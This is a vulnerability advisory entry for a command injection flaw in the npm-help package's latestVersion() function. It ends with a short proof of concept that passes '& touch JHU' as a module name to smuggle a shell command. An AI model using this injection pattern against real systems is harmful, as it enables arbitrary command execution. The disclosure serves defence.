CVE-2020-28445: Snyk Vulnerability Database | Snyk

**Command Injection Affecting npm-help package, versions *******

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• snyk-id

  SNYK-JS-NPMHELP-1050983

• published

  26 Jan 2021

• disclosed

  26 Jan 2021

• credit

  JHU System Security Lab

How to fix?

There is no fixed version for npm-help.

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 13 in index.js file in export.latestVersion() function.

PoC:

var root = require("npm-help");
var module = "& touch JHU";
root.latestVersion(module);